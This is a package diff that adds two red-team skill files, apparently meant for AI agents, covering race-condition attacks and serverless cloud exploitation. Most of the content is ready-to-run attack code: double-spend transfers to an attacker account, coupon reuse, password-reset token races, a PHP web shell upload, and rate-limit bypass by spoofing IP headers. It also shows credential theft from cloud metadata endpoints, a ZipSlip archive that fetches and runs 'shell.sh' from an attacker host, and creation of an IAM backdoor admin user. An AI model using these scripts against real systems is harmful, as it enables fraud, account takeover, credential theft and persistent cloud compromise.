rtexit-method 0.1.6 → 0.1.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,357 @@
1
+ ---
2
+ name: rt-race-conditions
3
+ description: "Race condition and concurrency attack skill for authorized engagements. TOCTOU (Time-of-Check-Time-of-Use) exploitation, HTTP/2 single-packet race attacks, API rate limit and balance bypass, coupon/voucher reuse via parallel requests, account takeover via concurrent password reset, file upload race conditions, Burp Suite Turbo Intruder for single-packet attacks, and limit-one bypass techniques. Use when testing web applications, APIs, or any system with concurrent request handling."
4
+ ---
5
+
6
+ # rt-race-conditions — Race Conditions & Concurrency Attacks
7
+
8
+ ## Overview
9
+
10
+ Race conditions occur when application behavior depends on the timing of concurrent operations. A window of time between a check and its corresponding action (TOCTOU) allows attackers to exploit the gap. Modern HTTP/2 makes these attacks more reliable by sending multiple requests in a single TCP packet — eliminating network jitter.
11
+
12
+ **High-value targets:**
13
+ - Financial transactions (double-spend, balance manipulation)
14
+ - Coupon/promo code systems (use once → use many times)
15
+ - Account limits (free tier bypass, rate limit evasion)
16
+ - Password reset / email verification flows
17
+ - File operations (symlink attacks, upload processing)
18
+
19
+ ---
20
+
21
+ ## Phase 1 — Identify Race Condition Candidates
22
+
23
+ ```bash
24
+ # Patterns that suggest race condition vulnerabilities:
25
+
26
+ # 1. "Use once" operations
27
+ # - Promo codes / coupons
28
+ # - Gift card redemption
29
+ # - One-time tokens (password reset, email verify)
30
+ # - Referral bonuses
31
+
32
+ # 2. Limit-based operations
33
+ # - "Maximum 1 per account"
34
+ # - Rate-limited API calls
35
+ # - Free tier resource limits
36
+ # - Transfer limits
37
+
38
+ # 3. Check-then-act patterns
39
+ # if balance >= amount: deduct(amount) ← race window here
40
+ # if coupon_used == false: apply(coupon) ← race window here
41
+ # if slot_available: reserve(slot) ← race window here
42
+
43
+ # 4. File/resource operations
44
+ # Upload → validate → move ← race in validate step
45
+ # Create temp file → process → delete ← TOCTOU
46
+
47
+ # Test tool: Burp Suite Repeater / Turbo Intruder
48
+ # Browser: DevTools Network tab — look for state-changing requests
49
+ ```
50
+
51
+ ---
52
+
53
+ ## Phase 2 — HTTP/2 Single-Packet Race Attack
54
+
55
+ ```bash
56
+ # HTTP/2 allows multiple requests in one TCP packet
57
+ # All requests arrive at server simultaneously → eliminates network jitter
58
+ # Makes race window exploitation much more reliable
59
+
60
+ # Burp Suite — single-packet attack (built-in since v2023.9)
61
+ # 1. Capture the target request in Proxy
62
+ # 2. Send to Repeater
63
+ # 3. Create a group of identical requests (right-click → Add to group)
64
+ # 4. Set connection: Send group in parallel (single-packet attack)
65
+ # 5. Send → all requests hit server simultaneously
66
+
67
+ # Turbo Intruder (Burp extension) — more control
68
+ # Extensions → BApp Store → Turbo Intruder
69
+
70
+ # race_single_packet.py (Turbo Intruder script)
71
+ def queueRequests(target, wordlists):
72
+ engine = RequestEngine(endpoint=target.endpoint,
73
+ concurrentConnections=1,
74
+ requestsPerConnection=50, # 50 requests in one packet
75
+ pipeline=True)
76
+ for i in range(50):
77
+ engine.queue(target.req)
78
+
79
+ def handleResponse(req, interesting):
80
+ table.add(req)
81
+
82
+ # Python requests — parallel race
83
+ import requests, threading, time
84
+
85
+ url = "https://target.com/api/redeem-coupon"
86
+ headers = {"Cookie": "session=YOUR_SESSION", "Content-Type": "application/json"}
87
+ data = '{"coupon_code": "SAVE50"}'
88
+
89
+ results = []
90
+ def send_request():
91
+ r = requests.post(url, headers=headers, data=data)
92
+ results.append(r.status_code)
93
+
94
+ # Launch 20 threads simultaneously
95
+ threads = [threading.Thread(target=send_request) for _ in range(20)]
96
+
97
+ # Synchronize start — all fire at same moment
98
+ barrier = threading.Barrier(20)
99
+ def synchronized_send():
100
+ barrier.wait() # Wait for all threads to be ready
101
+ send_request()
102
+
103
+ threads = [threading.Thread(target=synchronized_send) for _ in range(20)]
104
+ [t.start() for t in threads]
105
+ [t.join() for t in threads]
106
+ print(f"Results: {results}")
107
+ # Multiple 200 responses = race condition exploited
108
+ ```
109
+
110
+ ---
111
+
112
+ ## Phase 3 — Balance / Financial Race Conditions
113
+
114
+ ```bash
115
+ # Double-spend attack: transfer money twice before balance updates
116
+
117
+ # Scenario: Transfer $100 from account with $100 balance
118
+ # Check: balance >= 100? YES
119
+ # [RACE WINDOW — send second request here]
120
+ # Deduct: balance = 0
121
+
122
+ # Both requests check balance = 100 → both pass → balance goes negative
123
+
124
+ python3 << 'EOF'
125
+ import requests, threading
126
+
127
+ session = requests.Session()
128
+ session.cookies.set("session", "YOUR_SESSION_TOKEN")
129
+
130
+ url = "https://bank.target.com/api/transfer"
131
+ payload = {"to_account": "ATTACKER_ACCOUNT", "amount": 100}
132
+
133
+ def transfer():
134
+ r = session.post(url, json=payload)
135
+ print(f"Status: {r.status_code} | Response: {r.text[:100]}")
136
+
137
+ # Synchronize 10 transfer requests
138
+ barrier = threading.Barrier(10)
139
+ def sync_transfer():
140
+ barrier.wait()
141
+ transfer()
142
+
143
+ threads = [threading.Thread(target=sync_transfer) for _ in range(10)]
144
+ [t.start() for t in threads]
145
+ [t.join() for t in threads]
146
+ EOF
147
+
148
+ # Same technique for:
149
+ # - Withdrawing more than balance
150
+ # - Applying a discount multiple times
151
+ # - Claiming a reward multiple times
152
+ ```
153
+
154
+ ---
155
+
156
+ ## Phase 4 — Coupon / Promo Code Bypass
157
+
158
+ ```bash
159
+ # One-use coupon exploited multiple times
160
+
161
+ # Step 1: Identify the redeem endpoint
162
+ # POST /api/cart/apply-coupon {"code": "SAVE50"}
163
+
164
+ # Step 2: Add item to cart, don't redeem yet
165
+ # Step 3: Send 20+ parallel redemption requests
166
+
167
+ python3 << 'EOF'
168
+ import requests, threading
169
+
170
+ BASE = "https://shop.target.com"
171
+ SESSION = "your_session_cookie"
172
+
173
+ def apply_coupon():
174
+ r = requests.post(f"{BASE}/api/cart/apply-coupon",
175
+ json={"code": "SAVE50"},
176
+ cookies={"session": SESSION})
177
+ print(r.status_code, r.json().get("discount", ""))
178
+
179
+ # Fire 20 simultaneous requests
180
+ barrier = threading.Barrier(20)
181
+ def go():
182
+ barrier.wait()
183
+ apply_coupon()
184
+
185
+ threads = [threading.Thread(target=go) for _ in range(20)]
186
+ [t.start() for t in threads]
187
+ [t.join() for t in threads]
188
+
189
+ # Check cart total — likely applied multiple times
190
+ r = requests.get(f"{BASE}/api/cart", cookies={"session": SESSION})
191
+ print("Cart total:", r.json().get("total"))
192
+ EOF
193
+ ```
194
+
195
+ ---
196
+
197
+ ## Phase 5 — Account Takeover via Concurrent Password Reset
198
+
199
+ ```bash
200
+ # Some apps generate short/predictable tokens
201
+ # Race: request multiple resets → multiple valid tokens → brute force shorter
202
+
203
+ # More common: email-based OTP reuse
204
+ # Reset token sent → token valid for 10 min → can be reused multiple times
205
+ # (No invalidation on first use = not a race, just a bug)
206
+
207
+ # Actual race: some apps invalidate token only AFTER successful reset
208
+ # Two simultaneous reset requests with same token:
209
+ # Request 1: validate(token) → valid → reset password → invalidate(token)
210
+ # Request 2: validate(token) → valid (check happened before invalidation)
211
+ # Both succeed → control account
212
+
213
+ python3 << 'EOF'
214
+ import requests, threading
215
+
216
+ token = "RESET_TOKEN_FROM_EMAIL"
217
+ new_pass_1 = "Attacker1!"
218
+ new_pass_2 = "Attacker2!"
219
+
220
+ def reset(new_password):
221
+ r = requests.post("https://target.com/reset-password",
222
+ json={"token": token, "password": new_password})
223
+ print(f"Password {new_password}: {r.status_code} {r.text[:50]}")
224
+
225
+ barrier = threading.Barrier(2)
226
+ t1 = threading.Thread(target=lambda: [barrier.wait(), reset(new_pass_1)])
227
+ t2 = threading.Thread(target=lambda: [barrier.wait(), reset(new_pass_2)])
228
+ t1.start(); t2.start()
229
+ t1.join(); t2.join()
230
+ # If both 200 → token used twice → race confirmed
231
+ EOF
232
+ ```
233
+
234
+ ---
235
+
236
+ ## Phase 6 — File Upload Race Conditions
237
+
238
+ ```bash
239
+ # Upload → validate → move to final location
240
+ # Race window: between upload and validation
241
+ # If validation only checks file after move → bypass possible
242
+
243
+ # Scenario: app uploads file, validates it's an image, then serves it
244
+ # Race: upload PHP shell → immediately request it before validation deletes it
245
+
246
+ python3 << 'EOF'
247
+ import requests, threading, time
248
+
249
+ url_upload = "https://target.com/upload"
250
+ url_exec = "https://target.com/uploads/shell.php?cmd=id"
251
+ session_cookie = {"session": "YOUR_SESSION"}
252
+
253
+ shell_content = b"<?php system($_GET['cmd']); ?>"
254
+
255
+ def upload():
256
+ files = {"file": ("shell.php", shell_content, "image/jpeg")}
257
+ return requests.post(url_upload, files=files, cookies=session_cookie)
258
+
259
+ def execute():
260
+ for _ in range(100): # Keep trying during race window
261
+ r = requests.get(url_exec, cookies=session_cookie)
262
+ if "uid=" in r.text:
263
+ print("RCE:", r.text[:100])
264
+ return
265
+ time.sleep(0.01)
266
+
267
+ # Upload and immediately try to execute in parallel
268
+ t_upload = threading.Thread(target=upload)
269
+ t_exec = threading.Thread(target=execute)
270
+ t_exec.start() # Start execution attempts first
271
+ t_upload.start() # Then upload
272
+ t_upload.join(); t_exec.join()
273
+ EOF
274
+ ```
275
+
276
+ ---
277
+
278
+ ## Phase 7 — TOCTOU in File System
279
+
280
+ ```bash
281
+ # Time-of-Check-Time-of-Use on filesystem
282
+ # Scenario: app checks if path is safe, then opens it
283
+ # Race: replace safe path with symlink to /etc/passwd between check and open
284
+
285
+ # Classic symlink attack
286
+ mkdir /tmp/race
287
+ ln -s /etc/passwd /tmp/race/target # Create symlink
288
+
289
+ # If app does:
290
+ # if os.path.isfile("/tmp/user_upload"): ← CHECK
291
+ # process("/tmp/user_upload") ← USE (could be symlink now)
292
+
293
+ # Race script
294
+ while true; do
295
+ rm -f /tmp/user_upload
296
+ cp benign_file.txt /tmp/user_upload # Safe file (passes check)
297
+ rm -f /tmp/user_upload
298
+ ln -s /etc/passwd /tmp/user_upload # Symlink (used in action)
299
+ done &
300
+
301
+ # Trigger the vulnerable app operation repeatedly
302
+ # If successful → app reads /etc/passwd instead of user file
303
+ ```
304
+
305
+ ---
306
+
307
+ ## Phase 8 — Rate Limit Bypass
308
+
309
+ ```bash
310
+ # Rate limits often implemented per-IP or per-session
311
+ # Race can send burst before counter increments
312
+
313
+ # Identify rate-limited endpoint
314
+ # POST /api/login → 5 attempts/min → locked
315
+
316
+ # Bypass: send all attempts simultaneously before counter processes them
317
+ python3 << 'EOF'
318
+ import requests, threading
319
+
320
+ passwords = ["Summer2024!", "Password1!", "Welcome1!", "Admin123!",
321
+ "Company2024!", "Spring2024!", "Winter2024!", "Fall2024!"]
322
+
323
+ def try_password(p):
324
+ r = requests.post("https://target.com/login",
325
+ json={"username": "admin", "password": p},
326
+ headers={"X-Forwarded-For": f"1.2.3.{hash(p) % 255}"})
327
+ if "invalid" not in r.text.lower():
328
+ print(f"SUCCESS: {p}")
329
+
330
+ barrier = threading.Barrier(len(passwords))
331
+ threads = [threading.Thread(target=lambda p=p: [barrier.wait(), try_password(p)])
332
+ for p in passwords]
333
+ [t.start() for t in threads]
334
+ [t.join() for t in threads]
335
+ EOF
336
+ ```
337
+
338
+ ---
339
+
340
+ ## Skill Levels
341
+
342
+ **BEGINNER:** Burp Repeater parallel group → coupon/promo bypass → observe multiple success responses
343
+
344
+ **INTERMEDIATE:** Turbo Intruder single-packet attack → balance manipulation → password reset token reuse
345
+
346
+ **ADVANCED:** File upload race → TOCTOU symlink → rate limit burst bypass with IP rotation
347
+
348
+ **EXPERT:** Custom HTTP/2 single-packet tooling → distributed race across multiple sessions → chaining with other vulns
349
+
350
+ ---
351
+
352
+ ## References
353
+
354
+ - PortSwigger Race Conditions: https://portswigger.net/web-security/race-conditions
355
+ - Turbo Intruder: https://github.com/PortSwigger/turbo-intruder
356
+ - HTTP/2 Single Packet Attack paper: https://portswigger.net/research/smashing-the-state-machine
357
+ - MITRE T1499.004: https://attack.mitre.org/techniques/T1499/004/
@@ -0,0 +1,274 @@
1
+ ---
2
+ name: rt-serverless
3
+ description: "Serverless function exploitation skill for authorized engagements. AWS Lambda privilege escalation and data exfiltration, Azure Functions abuse, GCP Cloud Functions exploitation, environment variable extraction from serverless contexts, event injection attacks (S3 trigger, SQS, SNS), function URL misconfiguration, cold start timing attacks, shared filesystem abuse, and lateral movement from serverless to cloud account. Use when engagement scope includes cloud-native or serverless architectures."
4
+ ---
5
+
6
+ # rt-serverless — Serverless Function Exploitation
7
+
8
+ ## Overview
9
+
10
+ Serverless functions (Lambda, Azure Functions, Cloud Functions) have a unique attack surface: they run with IAM roles, have environment variables containing secrets, share underlying infrastructure, and are triggered by cloud events that attackers can inject into. A misconfigured Lambda can be the pivot from an external vulnerability to full cloud account takeover.
11
+
12
+ ---
13
+
14
+ ## Phase 1 — Discovery & Enumeration
15
+
16
+ ```bash
17
+ # AWS Lambda enumeration
18
+ aws lambda list-functions --region us-east-1
19
+ aws lambda get-function --function-name target-function
20
+ # Shows: code location (S3 URL), environment variables (if you have IAM rights), role
21
+
22
+ # Download function code
23
+ aws lambda get-function --function-name target-function \
24
+ --query 'Code.Location' --output text | xargs curl -o function.zip
25
+ unzip function.zip -d function_code/
26
+ # Analyze code for: hardcoded creds, SQL queries, internal endpoints
27
+
28
+ # Get function policy (who can invoke it)
29
+ aws lambda get-policy --function-name target-function
30
+ # If Resource: "*" → publicly invokable
31
+
32
+ # List function URLs (direct HTTPS invocation without IAM)
33
+ aws lambda list-function-url-configs --function-name target-function
34
+ # AuthType: NONE = unauthenticated invoke = high risk
35
+
36
+ # Azure Functions enumeration
37
+ az functionapp list --output table
38
+ az functionapp function list --name FUNCTION_APP --resource-group RG
39
+
40
+ # GCP Cloud Functions
41
+ gcloud functions list
42
+ gcloud functions describe FUNCTION_NAME --region us-central1
43
+ ```
44
+
45
+ ---
46
+
47
+ ## Phase 2 — Unauthenticated Function Invocation
48
+
49
+ ```bash
50
+ # Lambda Function URLs with AuthType: NONE
51
+ curl https://RANDOM_ID.lambda-url.us-east-1.on.aws/
52
+
53
+ # Lambda with resource policy allowing public invoke
54
+ aws lambda invoke --function-name target-function \
55
+ --payload '{"action":"admin","user":"attacker"}' \
56
+ --cli-binary-format raw-in-base64-out output.json
57
+ cat output.json
58
+
59
+ # Azure Function with anonymous auth level
60
+ curl "https://FUNCTIONAPP.azurewebsites.net/api/FUNCTION_NAME"
61
+ # Or with function key:
62
+ curl "https://FUNCTIONAPP.azurewebsites.net/api/FUNCTION_NAME?code=FUNCTION_KEY"
63
+
64
+ # Find function keys (often in source code, CI/CD, or Azure Portal)
65
+ az functionapp function keys list --name FUNCTIONAPP --resource-group RG --function-name FUNC
66
+
67
+ # GCP unauthenticated function
68
+ curl "https://REGION-PROJECT.cloudfunctions.net/FUNCTION_NAME"
69
+ # allUsers with invoker role = public
70
+ gcloud functions get-iam-policy FUNCTION_NAME
71
+ ```
72
+
73
+ ---
74
+
75
+ ## Phase 3 — Environment Variable Extraction
76
+
77
+ ```bash
78
+ # Lambda environment variables often contain:
79
+ # - Database credentials
80
+ # - API keys (Stripe, Twilio, SendGrid)
81
+ # - JWT signing secrets
82
+ # - Internal service URLs
83
+ # - AWS credentials for other services
84
+
85
+ # Extract env vars if you have lambda:GetFunction
86
+ aws lambda get-function-configuration --function-name target-function \
87
+ | jq '.Environment.Variables'
88
+ # Output:
89
+ # {
90
+ # "DB_PASSWORD": "secretpassword",
91
+ # "STRIPE_API_KEY": "sk_live_...",
92
+ # "INTERNAL_API_KEY": "abc123"
93
+ # }
94
+
95
+ # From inside function execution (SSRF → Lambda metadata)
96
+ # If the function is vulnerable to SSRF:
97
+ curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
98
+ # Or Lambda-specific endpoint:
99
+ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
100
+ # Returns temporary credentials for the function's IAM role
101
+
102
+ # If you have code execution inside function:
103
+ # Process environment dump
104
+ import os
105
+ print(dict(os.environ))
106
+ # All env vars including AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
107
+ ```
108
+
109
+ ---
110
+
111
+ ## Phase 4 — Event Injection Attacks
112
+
113
+ ```bash
114
+ # Functions triggered by cloud events — inject malicious events
115
+
116
+ # S3 trigger: function processes files uploaded to S3 bucket
117
+ # If you have S3 write access → upload malicious file → trigger function
118
+
119
+ # Upload file that causes path traversal in function
120
+ aws s3 cp malicious.csv s3://trigger-bucket/uploads/../../etc/passwd
121
+
122
+ # Upload ZIP that causes ZipSlip in function
123
+ python3 << 'EOF'
124
+ import zipfile
125
+ with zipfile.ZipFile("zipslip.zip", "w") as z:
126
+ z.writestr("../../tmp/pwned.sh", "#!/bin/bash\ncurl http://ATTACKER/shell.sh | bash")
127
+ EOF
128
+ aws s3 cp zipslip.zip s3://trigger-bucket/uploads/
129
+
130
+ # SQS injection: function processes SQS messages
131
+ aws sqs send-message \
132
+ --queue-url https://sqs.us-east-1.amazonaws.com/ACCOUNT/queue-name \
133
+ --message-body '{"action":"admin_override","user_id":"1","admin":true}'
134
+
135
+ # SNS injection
136
+ aws sns publish \
137
+ --topic-arn arn:aws:sns:us-east-1:ACCOUNT:topic-name \
138
+ --message '{"type":"webhook","url":"http://169.254.169.254/latest/meta-data/"}'
139
+
140
+ # API Gateway → Lambda injection
141
+ # Standard web attacks (SQLi, XSS, SSRF) via HTTP
142
+ curl "https://API_ID.execute-api.us-east-1.amazonaws.com/prod/user?id=1' OR '1'='1"
143
+ ```
144
+
145
+ ---
146
+
147
+ ## Phase 5 — IAM Role Abuse from Lambda
148
+
149
+ ```bash
150
+ # Lambda functions have an IAM execution role
151
+ # Over-privileged roles → lateral movement to other AWS services
152
+
153
+ # From inside function (or via SSRF):
154
+ # Get temporary credentials
155
+ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
156
+ # Response:
157
+ # {
158
+ # "AccessKeyId": "ASIA...",
159
+ # "SecretAccessKey": "...",
160
+ # "Token": "...",
161
+ # "Expiration": "2024-..."
162
+ # }
163
+
164
+ # Use credentials to escalate
165
+ export AWS_ACCESS_KEY_ID="ASIA..."
166
+ export AWS_SECRET_ACCESS_KEY="..."
167
+ export AWS_SESSION_TOKEN="..."
168
+
169
+ # Check what the role can do
170
+ aws sts get-caller-identity
171
+ aws iam list-attached-role-policies --role-name lambda-execution-role
172
+ aws iam get-role-policy --role-name lambda-execution-role --policy-name inline-policy
173
+
174
+ # Common over-privilege patterns:
175
+ aws s3 ls --recursive # s3:* = read all buckets
176
+ aws secretsmanager list-secrets # All secrets
177
+ aws ssm describe-parameters # All SSM parameters (contain creds)
178
+ aws ec2 describe-instances # Internal infrastructure map
179
+
180
+ # Best case: iam:* → full account takeover
181
+ aws iam create-user --user-name backdoor
182
+ aws iam attach-user-policy --user-name backdoor \
183
+ --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
184
+ aws iam create-access-key --user-name backdoor
185
+ ```
186
+
187
+ ---
188
+
189
+ ## Phase 6 — Shared Filesystem & Cold Start Attacks
190
+
191
+ ```bash
192
+ # /tmp in Lambda is shared across warm instances (same account, same function)
193
+ # Write to /tmp → next warm invocation reads it
194
+
195
+ # Test for shared /tmp abuse
196
+ # Invoke 1: write marker
197
+ curl -X POST FUNCTION_URL -d '{"action":"write","path":"/tmp/marker","content":"pwned"}'
198
+
199
+ # Invoke 2: read marker
200
+ curl -X POST FUNCTION_URL -d '{"action":"read","path":"/tmp/marker"}'
201
+ # If response = "pwned" → /tmp shared across invocations
202
+
203
+ # Lambda Layer abuse
204
+ # Layers are shared code across functions
205
+ # If you can modify a layer: aws lambda publish-layer-version
206
+ # All functions using that layer execute your code
207
+
208
+ # Cold start timing attack
209
+ # Functions have initialization code that runs once
210
+ # If init code is slow → cold start takes longer → timing reveals code paths
211
+
212
+ # Measure cold start time
213
+ python3 << 'EOF'
214
+ import requests, time
215
+
216
+ # Force cold start by changing something
217
+ for _ in range(5):
218
+ start = time.time()
219
+ r = requests.post(FUNCTION_URL, json={"probe": True})
220
+ elapsed = time.time() - start
221
+ print(f"Response time: {elapsed:.3f}s | Status: {r.status_code}")
222
+ time.sleep(0.1)
223
+ # Long first response = cold start = leaked initialization info
224
+ EOF
225
+ ```
226
+
227
+ ---
228
+
229
+ ## Phase 7 — Azure Functions & GCP Specific
230
+
231
+ ```bash
232
+ # Azure Functions — Managed Identity abuse
233
+ # Functions with Managed Identity can access Azure resources
234
+
235
+ # From inside Azure function (SSRF to IMDS):
236
+ curl "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2019-08-01&resource=https://management.azure.com/" \
237
+ -H "Metadata: true"
238
+ # Returns access token for the function's managed identity
239
+
240
+ # Use token to access Azure resources
241
+ TOKEN=$(curl -s "http://..." -H "Metadata: true" | jq -r '.access_token')
242
+ curl -H "Authorization: Bearer $TOKEN" \
243
+ "https://management.azure.com/subscriptions?api-version=2020-01-01"
244
+
245
+ # GCP Cloud Functions — Service Account abuse
246
+ curl "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" \
247
+ -H "Metadata-Flavor: Google"
248
+ # Returns access token for the function's service account
249
+
250
+ TOKEN=$(curl -s "http://..." -H "Metadata-Flavor: Google" | python3 -c "import json,sys; print(json.load(sys.stdin)['access_token'])")
251
+ curl -H "Authorization: Bearer $TOKEN" \
252
+ "https://cloudresourcemanager.googleapis.com/v1/projects"
253
+ ```
254
+
255
+ ---
256
+
257
+ ## Skill Levels
258
+
259
+ **BEGINNER:** Lambda function enumeration + download code + check env vars + unauthenticated invoke
260
+
261
+ **INTERMEDIATE:** Event injection via S3/SQS + IAM role credential extraction via IMDS SSRF + Secrets Manager dump
262
+
263
+ **ADVANCED:** Lambda layer modification for persistence + shared /tmp abuse + managed identity chaining
264
+
265
+ **EXPERT:** Custom event injection chains + cross-function lateral movement + serverless-to-EC2 pivot via over-privileged role
266
+
267
+ ---
268
+
269
+ ## References
270
+
271
+ - Pacu (AWS exploitation): https://github.com/RhinoSecurityLabs/pacu
272
+ - Lambda security research: https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/
273
+ - Serverless Goat (lab): https://github.com/OWASP/Serverless-Goat
274
+ - MITRE T1648: https://attack.mitre.org/techniques/T1648/